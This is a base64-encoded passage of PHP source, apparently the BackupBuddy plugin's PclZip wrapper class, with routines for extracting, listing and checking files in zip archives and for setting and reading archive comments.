Q0xaSVBfT1BUX0JZX05BTUUsICR3aGF0LCBQQ0xaSVBfT1BUX1JFTU9WRV9BTExfUEFUSCwgUENMWklQX09QVF9SRVBMQUNFX05FV0VSICk7CgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCgkJCQkJCQkJLy8gQ2hlY2sgd2hldGhlciB3ZSBzdWNjZWVkZWQgb3Igbm90ICh3b3VsZCBvbmx5IGJlIG5vIGxpc3QgYXJyYXkgZm9yIGEgemlwIGZpbGUgcHJvYmxlbSkKCQkJCQkJCQkvLyBidXQgZXh0cmFjdGlvbiBvZiB0aGUgZmlsZSBpdHNlbGYgbWF5IHN0aWxsIGhhdmUgZmFpbGVkCgkJCQkJCQkJJHJlc3VsdCA9ICggJGV4dHJhY3RfbGlzdCAhPT0gMCAgJiYgKCAkZXh0cmFjdF9saXN0WyAwIF1bICdzdGF0dXMnIF0gPT0gJ29rJyApICk7CgoJCQkJCQkJCS8vIFdpbGwgbmVlZCB0byByZW5hbWUgaWYgdGhlIGV4dHJhY3QgaXMgb2sKCQkJCQkJCQkkcmVuYW1lX3JlcXVpcmVkID0gdHJ1ZTsKCQkJCQkJCgkJCQkJCQl9CgkJCQkJCgkJCQkJCX0KCQkJCQoJCQkJCQkvLyBOb3RlOiB3ZSBkb24ndCBvcGVuIHRoZSBmaWxlIGFuZCB0aGVuIGRvIHN0dWZmIGJ1dCBpdCdzIGFsbCBkb25lIGluIG9uZSBhY3Rpb24KCQkJCQkJLy8gc28gd2UgbmVlZCB0byBpbnRlcnByZXQgdGhlIHJldHVybiBjb2RlIHRvIGRlZGlkZSB3aGF0IHRvIGRvCgkJCQkJCS8vIEN1cnJlbnRseSB3ZSBjYW4gb25seSBkaXN0aW5ndWlzaCBiZXR3ZWVuIHN1Y2Nlc3MgYW5kIGZhaWx1cmUgYnV0IG5vIGZpbmVyIGdyYWluCgkJCQkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCQkKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ3BjbHppcCBleHRyYWN0ZWQgZmlsZSBjb250ZW50cyAoJTEkcyBmcm9tICUyJHMgdG8gJTMkcyU0JHMpJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHdoYXQsICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJHdoZXJlICkgKTsKCgkJCQkJCQkvLyBSZW5hbWUgaWYgd2UgaGF2ZSB0bwoJCQkJCQkJaWYgKCB0cnVlID09PSAkcmVuYW1lX3JlcXVpcmVkKSB7CgkJCQkJCQkKCQkJCQkJCQkvLyBOb3RlOiB3ZSBqdW5rZWQgdGhlIHBhdGggb24gdGhlIGV4dHJhY3Rpb24gc28ganVzdCB0aGUgZmlsZW5hbWUgb2YgJHdoYXQgaXMgdGhlIHNvdXJjZSBidXQKCQkJCQkJCQkvLyAkd2hlcmUgY291bGQgYmUgYSBzaW1wbGUgZmlsZSBuYW1lIG9yIGEgZmlsZSBwYXRoIAoJCQkJCQkJCSRyZXN1bHQgPSAkcmVzdWx0ICYmIHJlbmFtZSggJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBiYXNlbmFtZSggJHdoYXQgKSwKCQkJCQkJCQkJCQkJCQkJICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHdoZXJlICk7CgkJCQkJCQkKCQkJCQkJCX0KCgkJCQkJCX0gZWxzZSB7CgkJCQkJCgkJCQkJCQkvLyBGb3Igbm93IGxldCdzIGp1c3QgcHJpbnQgdGhlIGVycm9yIGNvZGUgYW5kIGRyb3AgdGhyb3VnaAoJCQkJCQkJJGVycm9yX3N0cmluZyA9ICR6YS0+ZXJyb3JJbmZvKCk7CgkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdwY2x6aXAgZmFpbGVkIHRvIG9wZW4vcHJvY2VzcyBmaWxlIHRvIGV4dHJhY3QgZmlsZSBjb250ZW50cyAoJTEkcyBmcm9tICUyJHMgdG8gJTMkcyU0JHMpIC0gRXJyb3IgSW5mbzogJTUkcy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkd2hhdCwgJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCAkd2hlcmUsICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJCQoJCQkJCQkJLy8gTWF5IHNlZW0gcmVkdW5kYW50IGJ1dCBiZWx0J24nYnJhY2VzCgkJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCQkKCQkJCQkJfQoJCQkJCQoJCQkJCQkvLyBJZiB0aGUgZXh0cmFjdGlvbiBmYWlsZWQgKG9yIHJlbmFtZSBhZnRlciBleHRyYWN0aW9uKSB0aGVuIGJyZWFrIG91dCBvZiB0aGUgZm9yZWFjaCBhbmQgc2ltcGx5IHJldHVybiBmYWxzZQoJCQkJCQlpZiAoIGZhbHNlID09PSAkcmVzdWx0ICkgewoJCQkJCQoJCQkJCQkJYnJlYWs7CgkJCQkJCQoJCQkJCQl9CgkJCQkJCgkJCQkJfQoJCQkJCgkJCQl9IGVsc2UgewoJCQkJCgkJCQkJLy8gQ291bGRuJ3Qgb3BlbiBhcmNoaXZlIC0gd2lsbCByZXR1cm4gZm9yIG1heWJlIGFub3RoZXIgbWV0aG9kIHRvIHRyeQoJCQkJCSRlcnJvcl9zdHJpbmcgPSAkemEtPmVycm9ySW5mbyggJHJlc3VsdCApOwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ3BjbHppcCBmYWlsZWQgdG8gb3BlbiBmaWxlIHRvIGV4dHJhY3QgY29udGVudHMgKCUxJHMgdG8gJTIkcykgLSBFcnJvciBJbmZvOiAlMyRzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJGVycm9yX3N0cmluZyApICk7CgoJCQkJCS8vIFJldHVybiBhbiBlcnJvciBjb2RlIGFuZCBhIGRlc2NyaXB0aW9uIC0gdGhpcyBuZWVkcyB0byBiZSBoYW5kbGVkIG1vcmUgZ2VuZXJpY2FsbHkKCQkJCQkvLyRyZXN1bHQgPSBhcnJheSggMSwgIlVuYWJsZSB0byBnZXQgYXJjaGl2ZSBjb250ZW50cyIgKTsKCQkJCQkvLyBDdXJyZW50bHkgYXMgd2UgYXJlIHJldHVybmluZyBhbiBhcnJheSBhcyBhIHZhbGlkIHJlc3VsdCB3ZSBqdXN0IHJldHVybiBmYWxzZSBvbiBmYWlsdXJlCgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoKCQkJCX0KCQkJCQoJCQkJJHphLT5jbG9zZSgpOwoJCQkKCQkJfQoJCQkKCQkgIAlpZiAoIE5VTEwgIT0gJHphICkgeyB1bnNldCggJHphICk7IH0JCQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQoJCX0KCQkKCQkvKioKCQkgKglmaWxlX2V4aXN0cygpCgkJICoJCgkJICoJVGVzdHMgd2hldGhlciBhIGZpbGUgKHdpdGggcGF0aCkgZXhpc3RzIGluIHRoZSBnaXZlbiB6aXAgZmlsZQoJCSAqCUlmIGxlYXZlX29wZW4gaXMgdHJ1ZSB0aGVuIHRoZSB6aXAgb2JqZWN0IHdpbGwgYmUgbGVmdCBvcGVuIGZvciBmYXN0ZXIgY2hlY2tpbmcgZm9yIHN1YnNlcXVlbnQgZmlsZXMgd2l0aGluIHRoaXMgemlwCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJJHppcF9maWxlCQlUaGUgemlwIGZpbGUgdG8gY2hlY2sKCQkgKglAcGFyYW0JCXN0cmluZwkkbG9jYXRlX2ZpbGUJVGhlIGZpbGUgdG8gdGVzdCBmb3IKCQkgKglAcGFyYW0JCWJvb2wJJGxlYXZlX29wZW4JCU9wdGlvbmFsOiBUcnVlIGlmIHRoZSB6aXAgZmlsZSBzaG91bGQgYmUgbGVmdCBvcGVuCgkJICoJQHJldHVybgkJYm9vbC9hcnJheQkJCQlUcnVlIGlmIHRoZSBmaWxlIGlzIGZvdW5kIGluIHRoZSB6aXAgYW5kIGZhbHNlIGlmIG5vdCwgYXJyYXkgZm9yIG90aGVyIHByb2JsZW0KCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBmaWxlX2V4aXN0cyggJHppcF9maWxlLCAkbG9jYXRlX2ZpbGUsICRsZWF2ZV9vcGVuID0gZmFsc2UgKSB7CgkJCgkJCSRyZXN1bHQgPSBhcnJheSggMSwgIkdlbmVyaWMgZmFpbHVyZSBpbmRpY2F0aW9uIiApOwoJCQkkemEgPSBOVUxMOwoJCQkkc3RhdCA9IGFycmF5KCk7CgkJCQkJCQkJCgkJCQoJCQkvLyBUaGlzIHNob3VsZCBnaXZlIHVzIGEgbmV3IGFyY2hpdmUgb2JqZWN0LCBvZiBub3QgY2F0Y2ggaXQgYW5kIGJhaWwgb3V0CgkJCXRyeSB7CgkJCQoJCQkJJHphID0gbmV3IHBsdWdpbmJ1ZGR5X1BjbFppcCggJHppcF9maWxlICk7CgkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQoJCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQkKCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCBwY2x6aXAgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGNsYXNzCgkJCQkkZXJyb3Jfc3RyaW5nID0gJGUtPmdldE1lc3NhZ2UoKTsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ3BjbHppcCBpbmRpY2F0ZWQgYXMgYXZhaWxhYmxlIG1ldGhvZCBidXQgZXJyb3IgcmVwb3J0ZWQ6ICUxJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkZXJyb3Jfc3RyaW5nICkgKTsKCgkJCQkvLyBSZXR1cm4gYW4gZXJyb3IgY29kZSBhbmQgYSBkZXNjcmlwdGlvbiAtIHRoaXMgbmVlZHMgdG8gYmUgaGFuZGxlZCBtb3JlIGdlbmVyaWNhbGx5CgkJCQkkcmVzdWx0ID0gYXJyYXkoIDEsICJDbGFzcyBub3QgYXZhaWxhYmxlIHRvIG1hdGNoIG1ldGhvZCIgKTsKCQkJCQoJCQl9CgkJCQoJCQkvLyBPbmx5IGNvbnRpbnVlIGlmIHdlIGhhdmUgYSB2YWxpZCBhcmNoaXZlIG9iamVjdAoJCQlpZiAoIHRydWUgPT09ICRyZXN1bHQgKSB7CgkJCQkKCQkJCS8vIE1ha2Ugc3VyZSB3ZSBvcGVuZWQgdGhlIHppcCBvayBhbmQgaXQgaGFzIGNvbnRlbnQKCQkJCWlmICggKCAkY29udGVudF9saXN0ID0gJHphLT5saXN0Q29udGVudCgpICkgIT09IDAgKSB7CgkJCQkKCQkJCQkvLyBBc3N1bWUgZmFpbHVyZQoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkKCQkJCQkvLyBHZXQgZWFjaCBmaWxlIGluIHNlcXVlbmNlIGJ5IGluZGV4IGFuZCBnZXQgdGhlIHByb3BlcnRpZXMKCQkJCQlmb3IgKCAkaSA9IDA7ICRpIDwgc2l6ZW9mKCAkY29udGVudF9saXN0ICk7ICRpKysgKSB7CgkJCQkJCgkJCQkJCSRzdGF0ID0gJGNvbnRlbnRfbGlzdFsgJGkgXTsKCQkJCQkJCgkJCQkJCS8vIEFzc3VtZSB0aGUga2V5IGV4aXN0cyAoY29uc2lkZXIgdGVzdGluZykKCQkJCQkJaWYgKCAkc3RhdFsgJ2ZpbGVuYW1lJyBdID09ICRsb2NhdGVfZmlsZSApIHsKCQkJCQkJCgkJCQkJCQkvLyBGaWxlIGZvdW5kIHNvIHdlIGNhbiBub3RlIHRoYXQKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0ZpbGUgZm91bmQgKHBjbHppcCknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzogJyAuICRsb2NhdGVfZmlsZSApOwoJCQkJCQkJJHJlc3VsdCA9IHRydWU7CgkJCQkJCQkKCQkJCQkJCS8vIE5lZWQgdG8gZXhpdCB0aGUgZm9yIGxvb3AKCQkJCQkJCWJyZWFrOwoJCQkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJCWlmICggZmFsc2UgPT09ICRyZXN1bHQgKSB7CgkJCQkJCgkJCQkJCS8vIE9ubHkgZ2V0IGhlcmUgaWYgdGhlIGZpbGUgd2Fzbid0IGZvdW5kCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0ZpbGUgbm90IGZvdW5kIChwY2x6aXApJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc6ICcgLiAkbG9jYXRlX2ZpbGUgKTsKCQkJCQkJCgkJCQkJfQoKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkvLyBDb3VsZG4ndCBvcGVuIGFyY2hpdmUgLSB3aWxsIHJldHVybiBmb3IgbWF5YmUgYW5vdGhlciBtZXRob2QgdG8gdHJ5CgkJCQkJJGVycm9yX3N0cmluZyA9ICR6YS0+ZXJyb3JJbmZvKCB0cnVlICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygncGNsemlwIGZhaWxlZCB0byBvcGVuIGZpbGUgdG8gY2hlY2sgaWYgZmlsZSBleGlzdHMgKGxvb2tpbmcgZm9yICUxJHMgaW4gJTIkcykgLSBFcnJvciBJbmZvOiAlMyRzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRsb2NhdGVfZmlsZSAsICR6aXBfZmlsZSwgJGVycm9yX3N0cmluZyApICk7CgoJCQkJCS8vIFJldHVybiBhbiBlcnJvciBjb2RlIGFuZCBhIGRlc2NyaXB0aW9uIC0gdGhpcyBuZWVkcyB0byBiZSBoYW5kbGVkIG1vcmUgZ2VuZXJpY2FsbHkKCQkJCQkkcmVzdWx0ID0gYXJyYXkoIDEsICJGYWlsZWQgdG8gb3Blbi9wcm9jZXNzIGZpbGUiICk7CgoJCQkJfQoJCQkJCQkJCgkJCX0KCQkJCgkJICAJaWYgKCBOVUxMICE9ICR6YSApIHsgdW5zZXQoICR6YSApOyB9CQkKCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkJCgkJfQoJCQkJCgkJLyoJZ2V0X2ZpbGVfbGlzdCgpCgkJICoJCgkJICoJR2V0IGFuIGFycmF5IG9mIGFsbCBmaWxlcyBpbiBhIHppcCBmaWxlIHdpdGggc29tZSBmaWxlIHByb3BlcnRpZXMuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJCSR6aXBfZmlsZQlUaGUgZmlsZSB0byBsaXN0IHRoZSBjb250ZW50IG9mCgkJICoJQHJldHVybgkJYm9vbHxhcnJheQkJCQlmYWxzZSBvbiBmYWlsdXJlLCBvdGhlcndpc2UgYXJyYXkgb2YgZmlsZSBwcm9wZXJ0aWVzIChtYXkgYmUgZW1wdHkpCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF9maWxlX2xpc3QoICR6aXBfZmlsZSApIHsKCQkKCQkJJGZpbGVfbGlzdCA9IGFycmF5KCk7CgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJJHphID0gTlVMTDsKCQkJJHN0YXQgPSBhcnJheSgpOwoJCQkJCQkJCQoJCQkvLyBUaGlzIHNob3VsZCBnaXZlIHVzIGEgbmV3IGFyY2hpdmUgb2JqZWN0LCBvZiBub3QgY2F0Y2ggaXQgYW5kIGJhaWwgb3V0CgkJCXRyeSB7CgkJCQkJCgkJCQkkemEgPSBuZXcgcGx1Z2luYnVkZHlfUGNsWmlwKCAkemlwX2ZpbGUgKTsKCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCgkJCX0gY2F0Y2ggKCBFeGNlcHRpb24gJGUgKSB7CgkJCQoJCQkJLy8gU29tZXRoaW5nIGZpc2h5IC0gdGhlIG1ldGhvZHMgaW5kaWNhdGVkIHBjbHppcCBidXQgd2UgY291bGRuJ3QgZmluZCB0aGUgY2xhc3MKCQkJCSRlcnJvcl9zdHJpbmcgPSAkZS0+Z2V0TWVzc2FnZSgpOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygncGNsemlwIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBlcnJvciByZXBvcnRlZDogJTEkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCgkJCX0KCQkJCgkJCS8vIE9ubHkgY29udGludWUgaWYgd2UgaGF2ZSBhIHZhbGlkIGFyY2hpdmUgb2JqZWN0CgkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCQoJCQkJLy8gTWFrZSBzdXJlIHdlIG9wZW5lZCB0aGUgemlwIG9rIGFuZCBpdCBoYXMgY29udGVudAoJCQkJaWYgKCAwICE9PSAoICRjb250ZW50X2xpc3QgPSAkemEtPmxpc3RDb250ZW50KCkgKSApIHsKCQkJCQoJCQkJCS8vIEhvdyBtYW55IGZpbGVzIC0gbXVzdCBiZSA+MCB0byBoYXZlIGdvdCBoZXJlCgkJCQkJJGZpbGVfY291bnQgPSBzaXplb2YoICRjb250ZW50X2xpc3QgKTsKCQkJCQkKCQkJCQkvLyBHZXQgZWFjaCBmaWxlIGluIHNlcXVlbmNlIGJ5IGluZGV4IGFuZCBnZXQgdGhlIHByb3BlcnRpZXMKCQkJCQlmb3IgKCAkaSA9IDA7ICRpIDwgJGZpbGVfY291bnQ7ICRpKysgKSB7CgkJCQkJCgkJCQkJCSRzdGF0ID0gJGNvbnRlbnRfbGlzdFsgJGkgXTsKCQkJCQkJCgkJCQkJCS8vIEFzc3VtZSBhbGwgdGhlc2Uga2V5cyBkbyBleGlzdCAoY29uc2lkZXIgdGVzdGluZykKCQkJCQkJJGZpbGVfbGlzdFtdID0gYXJyYXkoCgkJCQkJCQkkc3RhdFsgJ2ZpbGVuYW1lJyBdLAoJCQkJCQkJJHN0YXRbICdzaXplJyBdLAoJCQkJCQkJJHN0YXRbICdjb21wcmVzc2VkX3NpemUnIF0sCgkJCQkJCQkkc3RhdFsgJ210aW1lJyBdCgkJCQkJCSk7CgkJCQkJCQkJCQkJCQoJCQkJCX0KCQkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdwY2x6aXAgbGlzdGVkIGZpbGUgY29udGVudHMgKCUxJHMpJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlICkgKTsKCgkJCQkJJHRoaXMtPmxvZ19hcmNoaXZlX2ZpbGVfc3RhdHMoICR6aXBfZmlsZSApOwoJCQkJCQoJCQkJCSRyZXN1bHQgPSAmJGZpbGVfbGlzdDsKCQkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkvLyBDb3VsZG4ndCBvcGVuIGFyY2hpdmUgLSB3aWxsIHJldHVybiBmb3IgbWF5YmUgYW5vdGhlciBtZXRob2QgdG8gdHJ5CgkJCQkJJGVycm9yX3N0cmluZyA9ICR6YS0+ZXJyb3JJbmZvKCB0cnVlICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygncGNsemlwIGZhaWxlZCB0byBvcGVuIGZpbGUgdG8gbGlzdCBjb250ZW50cyAoJTEkcykgLSBFcnJvciBJbmZvOiAlMiRzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGVycm9yX3N0cmluZyApICk7CgoJCQkJCS8vIFJldHVybiBhbiBlcnJvciBjb2RlIGFuZCBhIGRlc2NyaXB0aW9uIC0gdGhpcyBuZWVkcyB0byBiZSBoYW5kbGVkIG1vcmUgZ2VuZXJpY2FsbHkKCQkJCQkvLyRyZXN1bHQgPSBhcnJheSggMSwgIlVuYWJsZSB0byBnZXQgYXJjaGl2ZSBjb250ZW50cyIgKTsKCQkJCQkvLyBDdXJyZW50bHkgYXMgd2UgYXJlIHJldHVybmluZyBhbiBhcnJheSBhcyBhIHZhbGlkIHJlc3VsdCB3ZSBqdXN0IHJldHVybiBmYWxzZSBvbiBmYWlsdXJlCgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoKCQkJCX0KCQkJCQkJCQoJCQl9IAoJCQkKCQkgIAlpZiAoIE5VTEwgIT0gJHphICkgeyB1bnNldCggJHphICk7IH0JCQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQkKCQl9CgkJCgkJLyoJc2V0X2NvbW1lbnQoKQoJCSAqCQoJCSAqCVJldHJpZXZlIGFyY2hpdmUgY29tbWVudC4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJCSR6aXBfZmlsZQkJRmlsZW5hbWUgb2YgYXJjaGl2ZSB0byBzZXQgY29tbWVudCBvbi4KCQkgKglAcGFyYW0JCXN0cmluZwkJCSRjb21tZW50CQlDb21tZW50IHRvIGFwcGx5IHRvIGFyY2hpdmUuCgkJICoJQHJldHVybgkJYm9vbAkJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MsIG90aGVyd2lzZSBmYWxzZS4KCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gc2V0X2NvbW1lbnQoICR6aXBfZmlsZSwgJGNvbW1lbnQgKSB7CgkJCgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJJHphID0gTlVMTDsKCQkJCgkJCS8vIFRoaXMgc2hvdWxkIGdpdmUgdXMgYSBuZXcgYXJjaGl2ZSBvYmplY3QsIG9mIG5vdCBjYXRjaCBpdCBhbmQgYmFpbCBvdXQKCQkJdHJ5IHsKCQkJCQkKCQkJCSR6YSA9IG5ldyBwbHVnaW5idWRkeV9QY2xaaXAoICR6aXBfZmlsZSApOwoJCQkJJHJlc3VsdCA9IHRydWU7CgkJCQkKCQkJfSBjYXRjaCAoIEV4Y2VwdGlvbiAkZSApIHsKCQkJCgkJCQkvLyBTb21ldGhpbmcgZmlzaHkgLSB0aGUgbWV0aG9kcyBpbmRpY2F0ZWQgcGNsemlwIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBjbGFzcwoJCQkJJGVycm9yX3N0cmluZyA9ICRlLT5nZXRNZXNzYWdlKCk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdwY2x6aXAgaW5kaWNhdGVkIGFzIGF2YWlsYWJsZSBtZXRob2QgYnV0IGVycm9yIHJlcG9ydGVkOiAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJfQoJCQkKCQkJLy8gT25seSBjb250aW51ZSBpZiB3ZSBoYXZlIGEgdmFsaWQgYXJjaGl2ZSBvYmplY3QKCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0ICkgewoJCQkJCgkJCQkvLyBNYWtlIHN1cmUgd2Ugb3BlbmVkIHRoZSB6aXAgb2sgYW5kIHdlIGFkZGVkIHRoZSBjb21tZW50IG9rCgkJCQkvLyBOb3RlOiB1c2luZyBlbXB0eSBhcnJheSBhcyB3ZSBkb24ndCBhY3R1YWxseSB3YW50IHRvIGFkZCBhbnkgZmlsZXMKCQkJCWlmICggMCAhPT0gKCAkbGlzdCA9ICR6YS0+YWRkKCBhcnJheSgpLCBQQ0xaSVBfT1BUX0NPTU1FTlQsICRjb21tZW50ICkgKSApIHsKCQkJCQoJCQkJCS8vIFdlIGdvdCBhIGxpc3QgYmFjayBzbyBhZGRpbmcgY29tbWVudCBzaG91bGQgaGF2ZSBiZWVuIHN1Y2Nlc3NmdWwKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdQY2xaaXAgc2V0IGNvbW1lbnQgaW4gZmlsZSAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlICkgKTsKCQkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkvLyBJZiB3ZSBmYWlsZWQgdG8gc2V0IHRoZSBjb21tbmVudCB0aGVuIGxvZyBpdCAoPykgYW5kIGRyb3AgdGhyb3VnaAoJCQkJCSRlcnJvcl9zdHJpbmcgPSAkemEtPmVycm9ySW5mbyggdHJ1ZSApOwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1BjbFppcCBmYWlsZWQgdG8gc2V0IGNvbW1lbnQgaW4gZmlsZSAlMSRzIC0gRXJyb3IgSW5mbzogJTIkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCQkJCQkJCgkJCQl9CgkJCQoJCQl9CgkJCQoJCSAgCWlmICggTlVMTCAhPSAkemEgKSB7IHVuc2V0KCAkemEgKTsgfQkJCgkJCQoJCQlyZXR1cm4gJHJlc3VsdDsKCQkJCQoJCX0KCgkJLyoJZ2V0X2NvbW1lbnQoKQoJCSAqCQoJCSAqCVJldHJpZXZlIGFyY2hpdmUgY29tbWVudC4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJJHppcF9maWxlCQlGaWxlbmFtZSBvZiBhcmNoaXZlIHRvIHJldHJpZXZlIGNvbW1lbnQgZnJvbS4KCQkgKglAcmV0dXJuCQlib29sfHN0cmluZwkJCQkJZmFsc2Ugb24gZmFpbHVyZSwgWmlwIGNvbW1lbnQgb3RoZXJ3aXNlLgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBnZXRfY29tbWVudCggJHppcF9maWxlICkgewoJCQoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCSR6YSA9IE5VTEw7CgkJCQoJCQkvLyBUaGlzIHNob3VsZCBnaXZlIHVzIGEgbmV3IGFyY2hpdmUgb2JqZWN0LCBvZiBub3QgY2F0Y2ggaXQgYW5kIGJhaWwgb3V0CgkJCXRyeSB7CgkJCQkJCgkJCQkkemEgPSBuZXcgcGx1Z2luYnVkZHlfUGNsWmlwKCAkemlwX2ZpbGUgKTsKCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCgkJCX0gY2F0Y2ggKCBFeGNlcHRpb24gJGUgKSB7CgkJCQoJCQkJLy8gU29tZXRoaW5nIGZpc2h5IC0gdGhlIG1ldGhvZHMgaW5kaWNhdGVkIHBjbHppcCBidXQgd2UgY291bGRuJ3QgZmluZCB0aGUgY2xhc3MKCQkJCSRlcnJvcl9zdHJpbmcgPSAkZS0+Z2V0TWVzc2FnZSgpOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygncGNsemlwIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBlcnJvciByZXBvcnRlZDogJTEkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCgkJCX0KCQkJCgkJCS8vIE9ubHkgY29udGludWUgaWYgd2UgaGF2ZSBhIHZhbGlkIGFyY2hpdmUgb2JqZWN0CgkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCQoJCQkJLy8gTWFrZSBzdXJlIHdlIG9wZW5lZCB0aGUgemlwIG9rIGFuZCBpdCBoYXMgcHJvcGVydGllcwoJCQkJaWYgKCAwICE9PSAoICRwcm9wZXJ0aWVzID0gJHphLT5wcm9wZXJ0aWVzKCkgKSApIHsKCQkJCQoJCQkJCS8vIFdlIGdvdCBwcm9wZXJ0aWVzIHNvIHNob3VsZCBoYXZlIGEgY29tbWVudCB0byByZXR1cm4sIGV2ZW4gaWYgZW1wdHkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdQY2xaaXAgcmV0cmlldmVkIGNvbW1lbnQgaW4gZmlsZSAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlICkgKTsKCQkJCQkkcmVzdWx0ID0gJHByb3BlcnRpZXNbICdjb21tZW50JyBdOwoJCQkJCQoJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCS8vIElmIHdlIGZhaWxlZCB0byBnZXQgdGhlIGNvbW1uZW50IHRoZW4gbG9nIGl0ICg/KSBhbmQgZHJvcCB0aHJvdWdoCgkJCQkJJGVycm9yX3N0cmluZyA9ICR6YS0+ZX